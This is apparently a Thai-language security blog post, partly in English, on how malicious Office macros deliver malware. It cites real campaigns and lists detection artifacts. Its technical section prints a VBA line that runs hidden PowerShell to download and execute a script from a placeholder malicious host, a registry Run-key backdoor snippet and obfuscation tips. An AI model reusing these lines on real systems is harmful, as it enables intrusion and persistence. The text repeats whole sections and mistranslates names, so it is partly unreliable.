มาโครก่อให้เกิดความเสี่ยงด้านความปลอดภัยทางไซเบอร์ได้อย่างไร?

หากคุณเคยทำงานกับ Excel หรือ Word คุณอาจเคยเจอมาโคร ซึ่งเป็นสคริปต์เล็กๆ ที่มีประโยชน์ซึ่งทำงานซ้ำๆ โดยอัตโนมัติ

แต่เบื้องหลังความสะดวกของพวกเขาคือเวกเตอร์ภัยคุกคามร้ายแรงที่อาชญากรไซเบอร์ใช้ประโยชน์มานานหลายปี

มาโครทำให้เกิดความปลอดภัยทางไซเบอร์ได้อย่างไรความเสี่ยง?เมื่อเปิดใช้งาน มาโครสามารถดำเนินการซ่อนรหัส ภายในเอกสารที่ดูเหมือนไม่เป็นอันตราย

วิธีนี้ช่วยให้ผู้โจมตีส่งมัลแวร์ ขโมยข้อมูล หรือแม้แต่ควบคุมระบบทั้งหมดได้ โดยมักจะคลิกเพียงครั้งเดียวจากผู้ใช้ที่ไม่สงสัย

มาโครก่อให้เกิดความเสี่ยงด้านความปลอดภัยทางไซเบอร์เนื่องจากสามารถถูกใช้เพื่อรันโค้ดที่เป็นอันตรายเมื่อผู้ใช้เปิดไฟล์ Office ที่ติดไวรัส ซึ่งช่วยให้ผู้โจมตีสามารถเลี่ยงการป้องกันแบบเดิมๆ และเข้าถึงระบบโดยไม่ได้รับอนุญาตได้

ในบล็อกนี้ เราจะอธิบายอย่างชัดเจนว่ามาโครถูกโจมตีทางไซเบอร์ในโลกแห่งความเป็นจริงอย่างไร ประเภทของมัลแวร์ที่ส่งผ่านเอกสารที่เปิดใช้งานมาโครโดยทั่วไป และขั้นตอนที่คุณสามารถทำได้เพื่อปกป้องอยู่เสมอ

แมโครใน Microsoft Office คืออะไร?

มาโครใน Microsoft Officeเป็นลำดับคำสั่งอัตโนมัติที่ช่วยให้ผู้ใช้ทำงานซ้ำๆ ได้อย่างมีประสิทธิภาพมากขึ้น

โดยทั่วไปเขียนด้วยVisual Basic สำหรับแอปพลิเคชัน (VBA)มาโครถูกใช้ในแอปพลิเคชันเช่น Excel, Word และ Outlook เพื่อประหยัดเวลาและเพิ่มประสิทธิภาพการทำงานโดยการดำเนินการอัตโนมัติ เช่น การจัดรูปแบบเซลล์ การสร้างรายงาน หรือการส่งอีเมล

ตัวอย่างเช่น แทนที่จะใช้สูตรด้วยตนเองกับแถว Excel หลายพันแถว ผู้ใช้สามารถเรียกใช้แมโครเพื่อทำได้ทันทีด้วยคลิกเดียว

แต่มาโครจะสร้างความปลอดภัยทางไซเบอร์เสี่ยง? ความสามารถในการรันโค้ดทำให้พวกเขากลายเป็นเครื่องมือยอดนิยมสำหรับผู้โจมตี โดยเฉพาะอย่างยิ่งเมื่อผู้ใช้เปิดใช้งานมาโครที่เป็นอันตรายในเอกสารฟิชชิ่งโดยไม่รู้ตัว

แมโครทำงานอย่างไรในไฟล์ Office?

แมโครเป็นโปรแกรมขนาดเล็กที่ฝังอยู่ภายในเอกสารโดยพื้นฐานแล้ว เมื่อผู้ใช้เปิดไฟล์ที่มีมาโคร เช่น ไฟล์ .xlsm, .docm หรือ .pptm และเลือกที่จะเปิดใช้งานเนื้อหาโค้ดมาโครจะถูกดำเนินการ

สิ่งนี้มีประโยชน์อย่างเหลือเชื่อในสภาพแวดล้อมขององค์กรที่การทำรายงาน การคำนวณ หรือเวิร์กโฟ��ว์อัตโนมัติเป็นเรื่องปกติ

แอปพลิเคชัน Office มีแท็บนักพัฒนาซอฟต์แวร์ซึ่งผู้ใช้สามารถเปิดใช้งานเพื่อ:

• บันทึกมาโครโดยไม่ต้องเข้ารหัส
  
• เขียนหรือแก้ไขโค้ด VBA
  
• กำหนดมาโคร���ห้กับปุ่มหรือทางลัด
  

ประเภทไฟล์ที่มักมีมาโคร

• .xlsm– เวิร์กบุ๊กที่เปิดใช้งานแมโคร Excel
  
• .docm– เอกสารที่เปิดใช้งาน Word Macro
  
• .pptm– การนำเสนอที่เปิดใช้งานแมโคร PowerPoint
  
• .xlam– Excel Add-in พร้อมมาโคร
  

ไฟล์เหล่านี้แตกต่างจากไฟล์มาตรฐาน (.xlsx, .docx ฯลฯ) เนื่องจากอนุญาตให้มีการเรียกใช้โค้ดแบบฝังได้

อ่านเพิ่มเติมได้ที่:GRC ในระบบรักษาความปลอดภัยทางไซเบอร์คืออะไร? ทุกสิ่งที่คุณควรรู้

ทำไมม���โครถึงเป็นอันตราย?

แม้ว่ามาโครจะมีจุดประสงค์ที่เป็นประโยชน์ แต่มาโครยังแนะนำอีกด้วย ความปลอดภัยทางไซเบอร์ความเสี่ยง. เนื่องจากมาโครสามารถดำเนินการคำสั่งระดับระบบได้ ผู้โจมตีจึงมักใช้คำสั่งเหล่านี้เพื่อเรียกใช้เพย์โหลดที่เป็นอันตรายเมื่อผู้ใช้ที่ไม่สงสัยเปิดใช้งานเนื้อหาในเอกสารที่ติดไวรัส ซึ่งมักจะส่งผ่านอีเมลฟิชชิ่ง

อ่านเพิ่มเติมได้ที่:ความปลอดภัยทางไซเบอร์กับวิศวกรรมซอฟต์แวร์: รหัสหรือการป้องกัน?

เหตุใดมาโครจึงเป็น���วกเตอร์การโจมตียอดนิยม?

อาชญากรไซเบอร์ใช้มาโครในทางที่ผิดอย่างกว้างขวาง เนื่องจากมีฟีเจอร์การทำงานอัตโนมัติในตัวที่เชื่อถือได้ใน Microsoft Office ซึ่งสามารถจัดการให้รันโค้ดที่เป็นอันตรายได้ โดยมักจะไม่ก่อให้เกิดความสงสัยในทันที

การบูรณาการเข้ากับขั้นตอนการทำงานทางธุรกิ��และพฤติกรรมของผู้ใช้ทำให้พวกเขาเป็นเครื่องมือในอุดมคติสำหรับการส่งมัลแวร์ ซึ่งเป็นเหตุผลหลักมาโครก่อให้เกิดความปลอดภัยทางไซเบอร์ความเสี่ยงทั้งในสภาพแวดล้อมส่วนบุคคลและองค์กร

1. มาโครเรียกใช้โค้ดในระดับระบบ

มาโคร เขียนด้วยภาษาVisual Basic สำหรับแอปพลิเคชัน (VBA)สามารถรันคำสั่งระดับระบบได้เมื่อเปิดใช้งาน ซึ่งหมายความว่าผู้โจมตีสามารถ:

• ดาวน์โหลดและเรียกใช้โปรแกรมปฏิบัติการที่เป็นอันตราย
  
• แก้ไขการตั้งค่ารีจิสทรี
  
• ปิดการใช้งานการป้องกันไวรัส
  
• สร้างกลไกการคงอยู่
  

พาวเวอร์นี้จะเปลี่ยนไฟล์ Word หรือ Excel ธรรมดาให้เป็นรีโมทคอนโทรลเพื่อป้องกันระบบเสียหาย

อ่านเพิ่มเติมได้ที่:จะป้องกันรังสีจากเราเตอร์ wifi ได้อย่างไร?

2. เหมาะสำหรับฟิชชิ่งและวิศวกรรมสังคม

ผู้โจมตีมักจะแนบเอกสารที่เปิดใช้งานมาโครไปกับอีเมลฟิชชิ่งที่ปลอมแปลงเป็น:

• ใบแจ้งหนี้
  
• HR ดำเนินการต่อ
  
• แบบฟอร์มภาษี
  
• เอกสารติดตามการจัดส่ง
  

อีเมลอาจระบุว่า:

“เอกสารนี้ได้รับการป้องกัน คลิก 'เปิดใช้งานเนื้อหา' เพื่อดู”

เมื่อผู้ใช้คลิกเปิดใช้งานเนื้อหามาโครที่ฝังไว้จะทริกเกอร์การทำงานของมัลแวร์โดยไม่แจ้งให้ทราบ

อ่านเพิ่มเติมได้ที่:การล��อลวงในความปลอดภัยทางไซเบอร์คืออะไร? อย่าตกหลุมรัก

3. มาโครข้ามการควบคุมความปลอดภัยแบบเดิมๆ มากมาย

เนื่องจากมาโครเป็นคุณลักษณะ Office ที่ถูกต้องตามกฎหมายมักจะ:

• หลบเลี่ยงเครื่องมือป้องกันไวรัสตามลายเซ็น
  
• เลื่อนผ่านตัวกรองสแปมเมื่อสร้างมาอย่างดี
  
• จะไม่มีใครสังเกตเห็นในสภาพแวดล้อมแบบแซนด์บ็อกซ์หากสร้างความสับสน
  

ผู้โจมตียังสามารถใช้สคริปต์ VBA ที่เข้ารหัสหรือเทคนิคการไม่ใช้ไฟล์ทำให้การตรวจจับยากยิ่งขึ้น

อ่านเพิ่มเติมได้ที่:วิธีเริ่มต้น บริษัท รักษาความปลอดภัยทางไซเบอร์นอกกริด

4. มาโครไม่จำเป็นต้องใช้ประโยชน์จากช่องโหว่

ต่างจากการโจมตีแบบซีโร่เดย์หรือการหาประโยชน์ที่ซับซ้อน การโจมตีแบบมาโครไม่ได้ขึ้นอยู่กับข้อบกพร่องในระบบ แต่พวกเขาใช้ประโยชน์จากความไว้วางใจของผู้ใช้.
นี้ลดอุปสรรคทางเทคนิคสำหรับอาชญากรไซเบอร์พร้อมทั้งเพิ่มอัตราความสำเร็จ

อ่านเพิ่มเติมได้ที่:ความปลอดภัยทางไซเบอร์มีมากเกินไปหรือไม่? ��ู่มืออาชีพภายใน

5. การใช้งานอย่างแพร่หลายในองค์กร

เนื่องจากมาโครมีอยู่ทั่วไปในสภาพแวดล้อมขององค์กร (สำหรับการทำรายงาน Excel อัตโนมัติ การสร้างงบการเงิน ฯลฯ) องค์กรหลายแห่ง:

• อนุญาตการใช้งานมาโครตามค่าเริ่มต้น
  
• ไม่สามารถจำกัดนโยบายการดำเนินการของแมโครอย่างเหมาะสม
  
• ขาดการมองเห็นว่าเอกสารใดที่เรียกใช้มาโคร
  

สิ่งนี้จะสร้างพายุที่สมบูรณ์แบบ: การเปิดรับแสงสูง + การควบคุมต่ำ = โอกาสในการโจมตีเวกเตอร์

อ่านเพิ่มเติมได้ที่:ใช้เวลานานแค่ไหนในการเรียนรู้ความปลอดภัยทางไซเบอร์โดยไม่มีประสบการณ์?

เหตุใ��มาโครจึงเป็นเวกเตอร์การโจมตียอดนิยม

อาชญากรไซเบอร์ใช้มาโครในทางที่ผิดอย่างกว้างขวางเพราะพวกเขาเสนอคุณลักษณะระบบอัตโนมัติในตัวที่เชื่อถือได้ใน Microsoft Office ที่สามารถเป็นถูกจัดการให้รันโค้ดที่เป็นอันตรายมักจะไม่ก่อให้เกิดความสงสัยในทันที การผสานรวมกับเวิร์กโฟลว์ทางธุรกิจและพฤติกรรมผู้ใช้ทำให้พวกเขาเป็นเครื่องมือในอุดมคติสำหรับการส่งมัลแวร์

1. มาโครเรียกใช้โค้ดในระดับระบบ

มาโคร เขียนด้วยภาษาVisual Basic สำหรับแอปพลิเคชัน (VBA)สามารถรันคำสั่งระดับระบบได้เมื่อเปิดใช้งาน ซึ่งหมายความว่าผู้โจมตีสามารถ:

• ดาวน์โหลดและเรียกใช้โปรแกรมปฏิบัติการที่เป็นอันตราย
  
• แก้ไขการตั้งค่ารีจิสทรี
  
• ปิดการใช้งานการป้องกันไวรัส
  
• สร้างกลไกการคงอยู่
  

พาวเวอร์นี้จะเปลี่ยนไฟล์ Word หรือ Excel ธรรมดาให้เป็นรีโมทคอนโทรลเพื่อป้องกันระบบเสียหาย

อ่านเพิ่มเติมได้ที่:เครื่องมือค้นหาเทียน: การค้นหาส่วนตัวที่รวดเร็วปานสายฟ้า

2. เหมาะสำหรับฟิชชิ่งและวิศวกรรมสังคม

ผู้โจมตีมักจะแนบเอกสารที่เปิดใช้งานมาโครไปกับอีเมลฟิชชิ่งที่ปลอมแปลงเป็น:

• ใบแจ้งหนี้
  
• HR ดำเนินการต่อ
  
• แบบฟอร์มภาษี
  
• เอกสารติดตามการจัดส่ง
  

อีเมลอาจระบุว่า:

“เอกสารนี้ได้รับการป้องกัน คลิก 'เปิดใช้งานเนื้อหา' เพื่อดู”

เมื่อผู้ใช้คลิกเปิดใช้งานเนื้อหามาโครที่ฝังไว้จะทริกเกอร์การทำงานของมัลแวร์โดยไม่แจ้งให้ทราบ

อ่านเพิ่มเติมได้ที่:ความปลอดภัยทางไซเบอร์กับการพัฒนาเว็บ: ไหนดีกว่ากัน?

3. มาโครข้ามการควบคุมความปลอดภัยแบบเดิมๆ มากมาย

เนื่องจากมาโครเป็นคุณลักษณะ Office ที่ถูกต้องตามกฎหมายมักจะ:

• หลบเลี่ยงเครื่องมือป้องกันไวรัสตามลายเซ็น
  
• เลื่อนผ่านตัวกรองสแปมเมื่อสร้างมาอย่างดี
  
• จะไม่มีใครสังเกตเห็นในสภาพแวดล้อมแบบแซนด์บ็อกซ์หากสร้างความสับสน
  

ผู้โจมตียังสามารถใช้สคริปต์ VBA ที่เข้ารหัสหรือเทคนิคการไม่ใช้ไฟล์ทำให้การตรวจจับยากยิ่งขึ้น

อ่านเพิ่มเติมได้ที่:คุณจะป้องกันไวรัสและโค้ดที่เป็นอันตรายได้อย่างไร?

4. มาโครไม่จำเป็นต้องใช้ประโยชน์จากช่องโหว่

ต่างจากการโจมตีแบบซีโรเดย์หรือการหาประโยชน์ที่ซับซ้อน การโจมตีแบบมาโครไม่ได้ขึ้นอยู่กับข้อบกพร่องในระบบ แต่พวกเขาใช้ประโยชน์จากความไว้วางใจของผู้ใช้.
นี้ลดอุปสรรคทางเทคนิคสำหรับอาชญากรไซเบอร์พร้อมทั้งเพิ่มอัตราความสำเร็จ

อ่านเพิ่มเติมได้ที่:ไม่ระบุตัวตน กับ VPN: ไหนปกป้องความเป็นส่วนตัวของคุณได้ดีกว่า?

5. การใช้งานอย่างแพร่หลายในองค์กร

เนื่องจากมาโครมีอยู่ทั่วไปในสภาพแวดล้อมขององค์กร (สำหรับการทำรายงาน Excel อัตโนมัติ การสร้างงบการเงิน ฯลฯ) องค์กรหลายแห่ง:

• อนุญาตการใช้งานมาโครตามค่าเริ่มต้น
  
• ไม่สามารถจำกัดนโยบายการดำเนินการของแมโครอย่างเหมาะสม
  
• ขาดการมองเห็นว่าเอกสารใดที่เรียกใช้มาโคร
  

สิ่งนี้จะสร้างพายุที่สมบูรณ์แ��บ: การเปิดรับแสงสูง + การควบคุมต่ำ = โอกาสในการโจมตีเวกเตอร์

อ่านเพิ่มเติมได้ที่:CSAM ในระบบรักษาความปลอดภัยทางไซเบอร์คืออะไร? ทุกสิ่งที่คุณต้องการรู้

ตัวอย่างการโจมตีแบบมาโครในโลกแห่งความเป็นจริง

มาโครก่อให้เกิดความเสี่ยงด้านความปลอดภัยทางไซเบอ��์ได้อย่างไร?การโจมตีแบบมาโครไม่ใช่ทฤษฎี พวกมันถูกใช้ในเหตุการณ์ทางไซเบอร์ที่สร้างความเสียหายและแพร่หลายที่สุดในประวัติศาสตร์ล่าสุด

ผู้คุกคามชอบมาโครเนื่องจากความน่าเชื่อถือ การเข้าถึง และความง่ายในการปรับใช้ผ่านแคมเปญฟิชชิ่ง มาดูตัวอย่างการใช้งานจริงที่น่าทึ่งซึ่งมาโครที่เป็นอันตรายมีบทบาทสำคัญ

1. แคมเปญมัลแวร์ Emotet

อิโมติคอนซึ่งเป็นหนึ่งในตระกูลมัลแวร์ที่โด่งดังที่สุด โดยอาศัยเอกสาร Word ที่ใช้งานมาโครเป็นอย่างมาก เอกสารเหล่านี้ส่งผ่านอีเมลฟิชชิ่งที่ดูเหมือนเป็นใบแจ้งหนี้หรือก���รแจ้งเตือนการชำระเงิน โดยหลอกให้ผู้ใช้เปิดใช้งานมาโคร เมื่อเปิดใช้งานแล้ว:

• Emotet จะดาวน์โหลดตัวเองจากเซิร์ฟเวอร์คำสั่งและการควบคุม
  
• มันทำหน้าที่เป็นตัวโหลดมัลแวร์อื่น ๆ เช่นทริคบอทและRyuk แรนซั่มแวร์
  
• แพร่กระจายไปในแนวขวางผ่านเครือข่าย ทำให้เกิดการละเมิดครั้งใหญ่
  

ผลกระทบ:ส่งผลกระทบต่อสถาบันการเงิน หน่วยงานรัฐบาล และผู้ให้บริการด้านสุขภาพทั่วโลกก่อนที่จะถูกรบกวนโดยกฎหมายการบังคับใช้ในปี 2564

อ่านเพิ่มเติมได้ที่:���ครื่องมือค้นหาเชิงลึก: สำรวจนอกเหนือจาก Google

2. โทรจัน Dridex Banking

The ดริเด็กซ์โทรจันใช้ไฟล์ Excel ที่เชื่อมโยงมาโครเพื่อขโมยข้อมูลประจำตัวของธนาคาร:

• อีเมลฟิชชิ่งที่โพสต์เป็นการแจ้งเตือนการจัดส่งหรือใบแจ้งหนี้
  
• ผู้ใช้ที่เปิดใช้งานแมโครเรียกใช้โค้ด VBA โดยไม่��ู้ตัว
  
• Dridex แทรกโค้ดที่เป็นอันตรายลงในกระบวนการของเบราว์เซอร์เพื่อบันทึกการเข้าสู่ระบบของธนาคารแบบเรียลไทม์
  

ผลกระทบ:มันทำให้เกิดการฉ้อโกงทางการเงินนับล้านและเชื่อมโยงกับกลุ่มอาชญากรรมไซเบอร์ในยุโรปตะวันออก

3. APT28 (แฟนซีแบร์) – การจารกรรมทางการเมือง

อพาร์ทเมนท์28ซึ่งเป็นกลุ่มภัยคุกคามที่เชื่อมโยงกับรัฐรัสเซีย ใช้เอกสารที่เปิดใช้งานมาโครในช่วงแคมเปญจารกรรมที่เกี่ยวข้องกับการเลือกตั้ง. ในตัวอย่างหนึ่ง:

• พวกเขาส่งอีเมลหอกฟิชชิ่งไปยังบุคคลทางการเมืองพร้อมแนบเอกสาร Word
  
• เมื่อเปิดใช้งานมาโครแล้ว ดาวน์โหลดอัปโหลดมัลแวร์ที่ใช้ในการลาดตระเวน
  
• เข้าถึงการสื่อสารที่ละเอียดอ่อนอย่างต่อเนื่อง
  

ผลกระทบ:ใช้ในการแทรกแซงการเลือกตั้งของสหรัฐฯ,การกำหนดเป้าหมายของนาโต้และการเฝ้าระวังของรัฐบาล.

อ่านเพิ่มเติมได้ที่:Clearnet กับ Darknet: อธิบายความแตกต่างที่สำคัญ

4. แคมเปญฟิชชิ่งเกี่ยวกับโควิด-19 (2020)

ในช่วงแรกของการระบาด ผู้โจมตีใช้ประโยชน์จ��กความกลัวของสาธารณชนโดยส่ง:

• เอกสารที่เกี่ยวข้องกับ WHO และเอกสารที่มีตราสินค้าของแผนกสุขภาพ
  
• มาโครภายในเอกสารเหล่านี้ถูกดำเนินการผู้ขโมยข้อมูลและเครื่องมือการเข้าถึงระยะไกล (RAT)
  

ผลกระทบ:การติดเชื้อแ���ร่กระจายอย่างกว้างขวางไปยังคนทำงานที่อยู่ห่างไกล โรงพยาบาล และหน่วยงานของรัฐในระหว่างการล็อกดาวน์

5. NotPetya (ทฤษฎีเวกเตอร์เริ่มต้น)

แม้ว่าไม่ใช่เพชรเวิร์มแรนซัมแวร์ถูกส่งผ่านการประนีประนอมของห่วงโซ่อุปทานเป็นหลักแนะนำรายงานเบื้องต้นไฟล์ Excel ที่เชื่อมโยงมาโครอาจถูกนำมาใช้เพื่อตั้งหลักเบื้องต้นในจุดสิ้นสุดบางอย่าง โดยเฉพาะอย่างยิ่งในยูเครน

ชื่อการโจมตี	ผู้คุกคาม / มัลแวร์	วิธีการจัดส่ง	ผลลัพธ์ของมาโครเพย์โหลด	ผลกระทบ
แคมเปญอิโมติคอน	Emotet Loader + TrickBot	เอกสาร Word ในอีเมลฟิชชิ่ง	เอกสาร Excel ที่เป็นไปได้ในระยะเริ่มต้น	ผลกระทบทั่วโลกในด้านการเงิน การดูแลสุขภาพ และรัฐบาล
โทรจัน Dridex	มัลแวร์ธนาคาร Dridex	เอกสาร Excel/Word เป็นใบแจ้งหนี้ปลอม	การแทรกเบราว์เซอร์, การขโมยข้อมูลประจำตัวของธนาคาร	สูญเสียเงินนับล้านจากการฉ้อโกงทางธนาคาร
APT28 การจารกรรม	แฟนซีแบร์ / Seduploader	หอกฟิชชิงบุคคลสำคัญทางการเมือง	การติดตั้งรีคอนและแบ็คดอร์	การเลือกตั้งขอ��สหรัฐฯ, NATO และเป้าหมายทางการเมืองถูกประนีประนอม
การหลอกลวงเรื่องโควิด-19	พวกขโมยข้อมูล, RATs	ฟิชชิ่งเกี่ยวกับสุขภาพด้วยเอกสาร Office	การเข้าถึงระยะไกล การขโมยข้อมูล	การโจมตีคนทำงานระยะไกลและโรงพยาบาลเพิ่มขึ้นอย่างรวดเร็วในปี 2020
NotPetya (ตามทฤษฎี)	หนอนแรนซัมแวร์ NotPetya	เอกสาร Excel ที่เป็นไปได้ในระยะเริ่มต้น	การใช้ประโยชน์จากห่วงโซ่อุปทานก่อนตั้งหลักเบื้องต้น	การหยุดชะงักครั้งใหญ่ทั่วยูเครน, Maersk, FedEx ฯลฯ

จะเกิดอะไรขึ้นเมื่อมีการเปิดใช้งานมาโครที่เป็นอันตราย?

เมื่อผู้ใช้เปิดใช้งานแมโครที่เป็นอันตรายภายในเอกสาร Office จะทริกเกอร์VBA (Visual Basic สำหรับแอปพลิเคชัน)การเรียกใช้โค้ดภายในบริบทที่เชื่อถือได้ของ Microsoft Office

อย่างไรมาโครก่อให้เกิดความเสี่ยงด้านความปลอดภัยทางไซเบอร์หรือไม่? ด้วยการใช้ประโยชน์จากความไว้วางใจดังกล่าวเพื่อส่งมอบเพย์โหลดที่ซ่อนตัวและไร้ไฟล์ เพิ่มความคงอยู่ และสร้างการควบคุมระบบ โดยมักจะไม่ส่งสัญญาณเตือนทันที ต่อไปนี้เป็นคำแนะนำทางเทคนิคเกี่ยวกับสิ่งที่เกิดขึ้นทีละขั้นตอน:

ขั้นตอนที่ 1: การเริ่มต้นแมโครผ่าน VBA Runtime

เมื่อผู้ใช้คลิก“เปิดใช้งานเนื้อหา”แอปพลิเคชัน Office มอบการควบคุมให้กับรันไทม์ VBAซึ่งจะเริ่มดำเนินการโค้ดที่ฝังอยู่ภายในเอกสาร

• มาโครสามารถทริกเกอร์อัตโนมัติได้โดยใช้ขั้นตอนที่ขับเคลื่อนด้วยเหตุการณ์เช่น:
  
  • AutoOpen() → ทริกเกอร์เมื่อเอกสารเปิดขึ้น (Word)
    
  • Workbook_Open() → ทริกเกอร์เมื่อ Excel เปิด
    
  • Document_Open() → ฝังอยู่ในเทมเพลต (.dotm)
    

ขั้นตอนเหล่านี้จะกำจัด ต้องสำหรับการโต้ตอบของผู้ใช้หลังจากเปิดใช้งานมาโคร

ขั้นตอนที่ 2: การส่งมอบเพย์โหลดผ่าน Living-Off-the-Land Binaries (LOLBins)

โมเดิร์นการโจมตีแบบมาโครไม่ค่อยทิ้งไบนารีโดยตรงแต่พวกเขาใช้ Windows ในตัวในทางที่ผิด เครื่องมือถึงดาวน์โหลดและดำเนินการ payloads อย่างลับๆตัวอย่างทั่วไปได้แก่:

LOLBins ใช้แล้ว	วัตถุประสงค์
PowerShell.exe	ดาวน์โหลดเพย์โหลด รันคำสั่งที่ซับซ้อน
mshta.exe	ดำเนินการแอปพลิเคชัน JavaScript/HTML ระยะไกล
certutil.exe	ดึงมัลแวร์ที่เข้ารหัส base64 จากเว็บ
regsvr32.exe	เรียกใช้สคริปต์ที่เป็นอันตรายผ่าน COM scriptlets
rundll32.exe	โหลดและรันเพย์โหลด DLL

ตัวอย่างโค้ด VBA:

เชลล์ “powershell -ExecutionPolicy Bypass -NoProfile -WindowStyle Hidden -Command “”IEX(New-Object Net.WebClient).DownloadString('http://malicious.site/payload.ps1') “”

กระบวนการเหล่านี้โดยทั่วไปวางไข่จากแอป Officeเช่น winword.exe หรือ excel.exe ซึ่งเป็นธงสีแดงใน EDR/XDR

ขั้นตอนที่ 3: กลไกการคงอยู่

มาโคร may establish persistence using:

• Registry keys:HKCU\Software\Microsoft\Windows\CurrentVersion\Run
  
• Scheduled Tasks:Created using schtasks.exe via macro-executed PowerShell
  
• Startup folders:Dropping a malicious script or shortcut to run on reboot

Example:

Set objShell = CreateObject(“WScript.Shell”)

objShell.RegWrite “HKCU\Software\Microsoft\Windows\CurrentVersion\Run\Backdoor”, “C:\Users\Victim\AppData\backdoor.exe”, “REG_SZ”

Step 4: Command-and-Control Communication (C2)

Once the payload is deployed, it may:

• Beacon to a remote C2 serverover HTTP, HTTPS, or DNS
  
• Use custom headersorbase64-encoded payloadsto avoid detection
  
• Deploy techniques likedomain frontingor usebulletproof hosting
  

Some macros use encrypted strings or string obfuscation in VBA to hide C2 URLs and evade static detection.

Step 5: Final Payload Execution

Final-stage payloads vary based on attacker objectives:

• Ransomware:Encrypt files and display a ransom note
  
• Infostealers:Grab saved browser credentials, clipboard content, cookies
  
• RATs:Enable real-time surveillance, keylogging, and screen capture
  
• Credential Dumpers:Dump LSASS memory using procdump.exe or mimikatz
  

Detection Footprint (Technical Artifacts)

Artifact	What to Monitor
Office spawning PowerShell	winword.exe → powershell.exe
Suspicious registry edits	REG ADD in logs
Network traffic to unknown domains	Use threat intel feeds to correlate
File drops in AppData, Temp	Especially .dll, .ps1, .vbs

SIEMs can writedetection rulesaround Office process trees, script execution anomalies, and registry persistenceactivity.

To avoid detection, attackers often:

Bonus: Obfuscation Technique

• Split VBA strings using Chr() or base64
  
• ใช้เพย์โหลดที่เข้ารหัสของ PowerShell
  
• ดาวน์โหลดเชลล์โค้ดแบบไดนามิกไปยังหน่วยความจำ (มัลแวร์ที่ไม่มีไฟล์)

ประเภทของมัลแวร์ที่ส่งผ่านมาโคร

Macros have long been exploited by attackers as initial access vectors, especially because they can execute arbitrary code within the context of trusted Microsoft Office applications.

How Do Macros Pose A Cybersecurity Risk?โดยทำหน้าที่เป็น Launchpad สำหรับมัลแวร์ขั้นสูง ช่วยให้ผู้คุกคามสามารถข้ามการป้องกันอุปกรณ์ปลายทางและประนีประนอมระบบได้อย่างเงียบๆ

เมื่อผู้ใช้เปิดใช้งานมาโครในเอกสารที่เป็นอันตราย ผู้โจมตีสามารถส่งมัลแวร์ได้หลากหลาย ตั้งแต่แรนซัมแวร์และโทรจันของธนาคาร ไปจนถึงมัลแวร์ที่ซ่อนเร้นไร้ไฟล์

ด้านล่างนี้คือคำอธิบายโดยละเอียดทางเทคนิคเกี่ยวกับประเภทมัลแวร์ที่พบบ่อยที่สุดที่ส่งผ่านมาโครที่เป็นอันตราย รวมถึงขั้นตอนการดำเนินการกรณีการใช้งานและตัวอย่างที่น่าสังเกต

1.  แรนซัมแวร์

คำอธิบาย:

Ransomware เข้ารหัสไฟล์ของผู้ใช้และเรียกร้อง���ารชำระเงิน (โดยปกติจะเป็นสกุลเงินดิจิทัล) เพื่อกู้คืนการเข้าถึง นอกจากนี้ยังสามารถรวมได้ด้วย การขู่กรรโชกสองครั้งโดยที่ข้อมูลถูกกรองก่อนการเข้ารหัส

วิธีใช้มาโคร:

• แมโครเปิดตัวพาวเวอร์เชลล์หรือคำสั่ง cmd.exe เพื่อดาวน์โหลดเพย์โหลดแรนซัมแวร์
  
• อาจใช้ไบนารีที่อาศัยอยู่นอกที่ดิน (LOLBins)เช่น bitsadmin หรือ certutil เพื่อดึงข้อมูลไบนารีที่เข้ารหัสหรือทำให้สับสน
  
• เพย์โหลดดำเนินการโดยใช้ rundll32.exe ซึ่งมักจะแทรกเข้าไปในกระบวนการที่ถูกต้อง
  

ตัวอย่างโลกแห่งความเป็นจริง:

• ริวค,ล็อคบิตและเขาวงกตทั้งหมดถูกทิ้งผ่านการโจมตีแบบฟิชชิ่งแบบมาโคร ซึ่งมักนำหน้าด้วยการติดเชื้อ Emotet และ TrickBot
  

ตัวชี้วัดทางเทคนิค:

• สำนักงาน → PowerShell → แรนซัมแวร์ EXE
  
• นามสกุลไฟล์เช่น .ryk, .lockbit ถูกสร้างขึ้น
  
• การเชื่อมต่อ C2 กับบริการที่ซ่อนอยู่ของ TOR
  

2. โทรจันการเข้าถึงระยะไกล (RAT)

คำอธิบาย:

RAT ให้การเข้าถึงระยะไกลเต็มรูปแบบไปยังระ��บที่ถูกบุกรุก และสามารถดำเนินการคำสั่งที่กำหนดเอง บันทึกการกดแป้นพิมพ์ ถ่ายภาพหน้าจอ หรือแม้แต่เปิดใช้งานเว็บแคมและไมโครโฟน

กระแสการโจมตีมาโคร:

• มาโครหล่นหรือดาวน์โหลดไฟล์ที่สับสน หนูไบนารีซึ่งมักปลอมแปลงเป็น .dll หรือ .txt
  
• ลงทะเบียน RAT ในHKCU วิ่งรีจิสตรีคีย์หรืองานที่กำหนดเวลาไว้
  
• คงความคงอยู่ผ่านทางรีจิสทรีหรือโฟลเดอร์เริ่มต้นระบบ
  

RAT ทั่วไปที่ส่งผ่านมาโคร:

• ควาซาร์หนู
  
• นาโนคอร์
  
• ตัวแทนเทสลา
  
• ดา���หางมืด
  

ตัวชี้วัดทางเทคนิค:

• แอป Office → regsvr32.exe → การดำเนินการ DLL
  
• ย้อนกลับเชลล์ TCP ที่เริ่มต้นผ่าน PowerShell ที่ซ่อนอยู่
  
• ลักษณะการทำงานของบีคอนไปยังโดเมน DNS แบบไดนามิก (DDNS)
  

3. โทรจันการธนาคาร

คำอธิบาย:

โทรจันธนาคารเป็นมัลแวร์พิเศษที่ตรวจสอบเซสชันของเบราว์เซอร์เพื่อขโมยข้อมูลรับรองการเข้าสู่ระบบจากแพลตฟอร์มทางการเงิน

กระแสการโจมตีมาโคร:

• ทริกเกอร์มาโครPowerShell หรือ MSHTAเพื่อดาวน์โหลดมัลแวร์ เช่น Dridex, Ursnif หรือ TrickBot
  
• แทรกตัวเองเข้าไปในกระบวนการของเบราว์เซอร์ (เช่�� chrome.exe, iexplore.exe)
  
• ใช้ฟอร์มโลภ,มนุษย์ในเบราว์เซอร์ (MitB), หรือเว็บฉีดเพื่อเก็บข้อมูล
  

ตัวอย่าง:

• ดริเด็กซ์ส่งผ่านไฟล์แนบ Excel ที่เป็นอันตรายซึ่งใช้มาโคร VBA ที่สับสนและการเข้ารหัส XOR เพื่อหลบเลี่ยงการตรวจจับ
  

ตัวชี้วัดทางเทคนิค:

• DLL ที่ไม่คาดคิดโหลดใน chrome.exe
  
• การรับส่งข้อมูลที่เข้ารหัสไปยังโดเมนธนาคารปลอม
  
• ไลบรารีหรือพรอกซีของเบราว์เซอร์ที่ถูกแก้ไข
  

4.  ผู้ขโมยข้อมูล

คำอธิบาย:

